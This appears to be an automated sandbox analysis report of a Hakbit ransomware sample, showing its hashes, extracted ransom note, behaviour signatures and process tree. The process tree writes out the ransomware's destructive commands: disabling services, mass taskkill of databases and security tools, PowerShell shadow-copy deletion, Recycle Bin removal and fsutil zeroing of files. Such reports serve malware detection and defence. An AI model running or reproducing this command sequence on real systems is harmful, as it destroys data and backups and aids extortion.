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Analysis

  • max time kernel
    133s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2023 17:02

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: dI00QeK2P24yt1venEd6t3MvjOvWnmtq+w8oIZBKCcP8K3YvAXnyZQNR2TZj4xSuW2Ps/2G8/k7rhrVbKfZpZWQTLvYD/m1MCN023FSE5OBb87mIPtJTkTAefd1Eci6hGIO7gCfwnh++VjeQwyzWDbapxCPNQBYAFPLLWRSkdBRFAB/O/cV7C8QVmiWUccOtIwgZ301VRJ8qkeYMxjje5RW7fcc8tS/1+YyyqwzqTJ0eeRt67uwJ3NJXVrAWqBFmVSKSiZqD785X20koRKCSu+bXkiqfPU7QTk6wMYmXMJ7TfQJLPURQ8r+3RjcwOUzI8FMaDSNNouLLemEBBF1RzdEL2u5DHct4DtCHTLOhuf3ZRVToa+bFhlNlznRvRtVuhnIRLycrO5z6roIvZkeemdEXOJYmWpAxkJJDbvObKUlrhXHjd9c4/oYwtEP0NWiqiYjkclwBQ9TdLLx/52ekW4Bv2iVZjnyENjpD5nNzwOhGQhxFyCoHLRJsEsHybt1R9pU+e7+G/Bfev3KH+kCulIHUvd8y+c72KznOwYDlQGBfZdN2JsSisfqrIFdtETl+4jrOjvwIhWb4Xb67ZYYJ5ufy1K9JH6ao/9gAwaAXZM1C/Bf1ThL94FBoc8n/pI7akPPQUuwCP9ZW3M9UDGO4Opjj02Ogh892S6mbWLXjaxY= Number of files that were processed is: 394

Signatures

  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4752
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1756
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:1884
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:4644
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:3420
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:2684
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4736
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2056
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4120
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1528
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        PID:4108
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4480
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM firefoxconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4860
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4060
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2208
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4424
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3776
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3864
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2388
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2928
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2200
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2132
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2500
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1312
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        PID:1796
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2640
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4980
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4996
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4236
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4900
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4448
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2728
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1484
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1500
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1828
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3516
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1364
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:672
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:488
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3296
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4620
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:60
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4796
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4408
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqbcoreservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3604
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3632
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4016
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5044
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:6248
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
          PID:6272
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.7 -n 3
            3⤵
            • Runs ping.exe
            PID:6624
          • C:\Windows\system32\fsutil.exe
            fsutil file setZeroData offset=0 length=524288 “%s”
            3⤵
              PID:1116
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
            2⤵
              PID:6404
              • C:\Windows\system32\choice.exe
                choice /C Y /N /D Y /T 3
                3⤵
                  PID:5880
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
              1⤵
                PID:2684

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log

                Filesize

                1.3MB

                MD5

                4abc4965ac863f0dea566c52f9c35f4d

                SHA1

                dc3d7934634d565a91827350891f5982c2a7fc26

                SHA256

                0f3a7e9996cc002f7bfffaaf7c57a6343886a19b23804f27feb137915dba8fd8

                SHA512

                2ad18786075aa16e80fe86cf48fedccce0a9d98bfe22b536144244df794d78fac12e1b9c4200deb5bd17bc2b06c92b5d85fdef2f515cd3b1be10e9046a3c159f

              • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

                Filesize

                180KB

                MD5

                60c855c8eacd899a3fedabb68527151c

                SHA1

                9b8420fb8c51e3303be5a491d0cedd4264a61d9e

                SHA256

                7f1f5a9485fef88281bfa0233ee9369cbe86890b5010fcd56c2efb26ebf3ee37

                SHA512

                936d54bf5a33c46d80fbd7022beab5216bf958ae92ae3d00eccaf7c38f1f7b638fbe3007163f77ece63f27cc1eae96ab4997885a6a0fba3fc68d5be6ce569104

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                e243a38635ff9a06c87c2a61a2200656

                SHA1

                ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

                SHA256

                af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

                SHA512

                4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljgqgflx.rz1.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

                Filesize

                828B

                MD5

                00dc4e3f2c74de2e06c34a3fd86e0279

                SHA1

                222d1a7be936315b31769db14f943e826306c69c

                SHA256

                a05538911c3d6d3f7b73e56affb355616340f0d98b8c81c92a08f23ef28d31de

                SHA512

                c7bbe6772a04ac138202408d408f0c58feff59cc700124b0fbda8464446b8edfbfeb0b9e3ea1b9b1b209d814bb5569a810ae1a6194c9667cd1e290ff8164450a

              • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

                Filesize

                828B

                MD5

                00dc4e3f2c74de2e06c34a3fd86e0279

                SHA1

                222d1a7be936315b31769db14f943e826306c69c

                SHA256

                a05538911c3d6d3f7b73e56affb355616340f0d98b8c81c92a08f23ef28d31de

                SHA512

                c7bbe6772a04ac138202408d408f0c58feff59cc700124b0fbda8464446b8edfbfeb0b9e3ea1b9b1b209d814bb5569a810ae1a6194c9667cd1e290ff8164450a

              • memory/1228-1-0x00007FFB642B0000-0x00007FFB64D71000-memory.dmp

                Filesize

                10.8MB

              • memory/1228-3-0x000000001B9A0000-0x000000001B9B0000-memory.dmp

                Filesize

                64KB

              • memory/1228-493-0x00007FFB642B0000-0x00007FFB64D71000-memory.dmp

                Filesize

                10.8MB

              • memory/1228-0-0x0000000000ED0000-0x0000000000EEA000-memory.dmp

                Filesize

                104KB

              • memory/1228-415-0x00007FFB642B0000-0x00007FFB64D71000-memory.dmp

                Filesize

                10.8MB

              • memory/4060-14-0x0000025874940000-0x0000025874950000-memory.dmp

                Filesize

                64KB

              • memory/4060-86-0x00007FFB642B0000-0x00007FFB64D71000-memory.dmp

                Filesize

                10.8MB

              • memory/4060-37-0x0000025874940000-0x0000025874950000-memory.dmp

                Filesize

                64KB

              • memory/4060-23-0x0000025874880000-0x00000258748A2000-memory.dmp

                Filesize

                136KB

              • memory/4060-12-0x0000025874940000-0x0000025874950000-memory.dmp

                Filesize

                64KB

              • memory/4060-10-0x00007FFB642B0000-0x00007FFB64D71000-memory.dmp

                Filesize

                10.8MB